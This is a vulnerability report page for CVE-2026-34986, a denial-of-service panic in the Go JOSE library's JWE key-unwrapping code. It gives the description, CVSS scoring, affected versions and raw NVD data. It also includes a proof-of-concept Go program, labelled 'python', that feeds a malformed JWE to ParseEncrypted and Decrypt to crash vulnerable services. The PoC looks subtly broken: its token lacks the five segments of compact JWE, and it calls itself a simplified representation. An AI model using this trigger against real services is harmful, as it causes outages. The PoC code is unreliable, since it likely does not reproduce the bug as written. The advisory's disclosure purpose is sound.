Security Vulnerability Report
中文
CVE-2026-34986 CVSS 7.5 HIGH

CVE-2026-34986

Published: 2026-04-06 17:17:12
Last Modified: 2026-05-04 15:20:44

Description

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.4 and 3.0.5, decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key. This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected. This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common. Panics can lead to denial of service. This vulnerability is fixed in 4.1.4 and 3.0.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:go-jose_project:go-jose:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:go-jose_project:go-jose:*:*:*:*:*:*:*:* - VULNERABLE
go-jose/go-jose < 4.1.4
go-jose/go-jose < 3.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "github.com/go-jose/go-jose/v3" ) // This PoC demonstrates the panic trigger in vulnerable versions. // It requires a vulnerable version of go-jose (< 4.1.4 or < 3.0.5). func main() { // Construct a malicious JWE string. // Header: {"alg":"A128KW","enc":"A128GCM"} // The encrypted_key part is intentionally left empty to trigger the panic. // Note: This is a simplified representation of the malformed payload structure. malformedJWE := "eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0..INVALID_PAYLOAD." fmt.Println("Attempting to parse and decrypt malicious JWE...") // Parse the JWE obj, err := jose.ParseEncrypted(malformedJWE) if err != nil { fmt.Printf("Parse error (expected in some cases): %v\n", err) return } // Attempting to decrypt with an empty key or any key when encrypted_key is empty // and alg is A128KW will trigger a panic in cipher.KeyUnwrap(). // This leads to the Denial of Service. _, err = obj.Decrypt([]byte("test_key")) if err != nil { fmt.Printf("Decrypt error: %v\n", err) } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34986", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:11.870", "lastModified": "2026-05-04T15:20:44.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.4 and 3.0.5, decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key. This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected. This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common. Panics can lead to denial of service. This vulnerability is fixed in 4.1.4 and 3.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:go-jose_project:go-jose:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.5", "matchCriteriaId": "C8F16FC9-40BA-4C17-9ABD-614143E86BFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:go-jose_project:go-jose:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.1.4", "matchCriteriaId": "DC2FEC8C-1ECF-40EA-A074-86B4C7688B60"}]}]}], "references": [{"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants", "source": "[email protected]", "tags": ["Product", "Technical Description"]}]}}